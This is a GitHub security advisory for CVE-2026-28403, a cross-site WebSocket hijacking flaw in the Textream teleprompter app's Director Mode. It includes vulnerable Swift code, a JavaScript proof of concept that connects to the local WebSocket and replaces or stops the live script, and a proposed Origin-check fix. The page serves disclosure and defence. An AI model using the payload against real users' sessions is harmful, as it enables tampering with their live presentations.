Skip to content

Cross-Site WebSocket Hijacking (CSWSH)

High
f published GHSA-wr3v-x247-337w Feb 27, 2026

Package

No package listed

Affected versions

All versions

Patched versions

None

Description

Summary

The DirectorServer WebSocket server (ws://127.0.0.1:<httpPort+1>) accepts connections from any origin without validating the HTTP Origin header during the WebSocket handshake. A malicious web page visited in the same browser session can silently connect to the local WebSocket server and send arbitrary DirectorCommand payloads, allowing full remote control of the teleprompter content.

Details

In DirectorServer.swift, the startWSListener() function initializes a WebSocket listener using NWProtocolWebSocket.Options() with no origin validation:

// DirectorServer.swift – startWSListener()
let wsOptions = NWProtocolWebSocket.Options()
params.defaultProtocolStack.applicationProtocols.insert(wsOptions, at: 0)

The handleWSConnection() and handleIncomingMessage() functions accept and process every incoming message without any authentication or origin check:

// DirectorServer.swift – handleIncomingMessage()
private func handleIncomingMessage(_ data: Data) {
    guard let command = try? JSONDecoder().decode(DirectorCommand.self, from: data) else { return }
    // ⚠️ No origin, auth, or token check of any kind
    switch command.type {
    case "setText":    self?.onSetText?(text)
    case "updateText": self?.onUpdateText?(text, readCharCount)
    case "stop":       self?.onStop?()
    }
}

Supported command types (setText, updateText, stop) directly manipulate the live teleprompter session with no gate-keeping.

Proof of Concept

  1. Start Textream and activate Director Mode (WebSocket binds to ws://127.0.0.1:<httpPort+1>, default 7576).
  2. While the session is active, open any browser tab and paste the following into the developer console:
const ws = new WebSocket('ws://127.0.0.1:7576');
ws.onopen = () => {
  // Replace the live teleprompter script remotely
  ws.send(JSON.stringify({
    type: "setText",
    text: "You have been hijacked."
  }));
};
  1. The teleprompter content is immediately replaced with no interaction required within the Textream app.

To silently stop a live session:

const ws = new WebSocket('ws://127.0.0.1:7576');
ws.onopen = () => ws.send(JSON.stringify({ type: "stop" }));

Impact

  • Integrity (High): Any website the user visits can silently replace, modify, or delete the live script during a presentation or broadcast without any user interaction inside the app.
  • Confidentiality (Low): The attacker receives full DirectorState broadcasts including current script content, highlighted character count, and audio levels.
  • Availability (Low): The stop command can terminate an active live session remotely at any time.

This affects all users running Textream Director Mode on macOS regardless of network configuration, since the attack vector is the loopback interface exploited through a browser.

Remediation

Validate the Origin header during the WebSocket upgrade handshake and reject connections that do not originate from localhost or a known trusted origin:

// Proposed fix – reject non-localhost origins
wsOptions.setHandshakeHandler { metadata, completion in
    let origin = metadata.additionalHeaders.first(where: { $0.name == "Origin" })?.value ?? ""
    guard origin.hasPrefix("http://localhost") || origin.hasPrefix("http://127.0.0.1") else {
        completion(.reject(HTTPURLResponse()))
        return
    }
    completion(.accept(subprotocol: nil, additionalHeaders: []))
}

Additionally, implement a shared secret token that the HTML page (served by the HTTP server) embeds and the WebSocket server verifies on the first message.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

CVE ID

CVE-2026-28403

Weaknesses

Origin Validation Error

The product does not properly verify that the source of data or communication is valid. Learn more on MITRE.

Credits